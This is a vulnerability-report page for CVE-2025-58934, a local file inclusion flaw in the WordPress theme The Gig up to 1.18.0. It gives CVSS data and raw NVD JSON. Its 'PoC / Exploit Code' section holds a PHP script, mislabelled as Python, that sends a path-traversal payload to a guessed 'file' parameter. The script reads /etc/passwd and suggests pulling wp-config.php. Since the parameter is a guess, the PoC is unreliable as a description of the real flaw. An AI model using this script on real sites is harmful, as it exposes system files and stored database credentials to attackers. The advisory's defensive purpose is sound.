Security Vulnerability Report
中文
CVE-2025-58934 CVSS 8.1 HIGH

CVE-2025-58934

Published: 2025-12-18 08:16:01
Last Modified: 2026-04-27 20:16:20

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes The Gig thegig allows PHP Local File Inclusion.This issue affects The Gig: from n/a through <= 1.18.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:the_gig:*:*:*:*:*:wordpress:*:* - VULNERABLE
The Gig主题 <= 1.18.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58934 PoC - WordPress The Gig Theme Local File Inclusion * Target: axiomthemes The Gig theme <= 1.18.0 * Vulnerability: LFI via unvalidated file parameter * Author: Security Research Team */ $target = 'http://target-site.com/wp-content/themes/thegig/'; $target_path = $argv[1] ?? '/etc/passwd'; echo "[*] CVE-2025-58934 LFI PoC\n"; echo "[*] Target: {$target}\n"; echo "[*] Reading file: {$target_path}\n\n"; // Try to include sensitive files $vulnerable_param = 'file'; // Common parameter name, adjust based on target $payload = '../../../../../../..' . $target_path; $url = $target . '?' . $vulnerable_param . '=' . urlencode($payload); echo "[*] Request URL: {$url}\n\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Status: {$http_code}\n"; echo "[*] Response:\n"; echo "---\n"; echo $response; echo "\n---\n"; // Common sensitive files to check echo "\n[*] Suggested files to read:\n"; echo "- /etc/passwd (system users)\n"; echo "- wp-config.php (WordPress config)\n"; echo "- ../wp-config.php (alternative path)\n"; echo "- /var/www/html/wp-config.php (full path)\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58934", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:00.940", "lastModified": "2026-04-27T20:16:20.243", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes The Gig thegig allows PHP Local File Inclusion.This issue affects The Gig: from n/a through <= 1.18.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:the_gig:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.18.0", "matchCriteriaId": "9D9E2776-E68D-487C-917F-89F6C7979EF9"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/thegig/vulnerability/wordpress-the-gig-theme-1-18-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}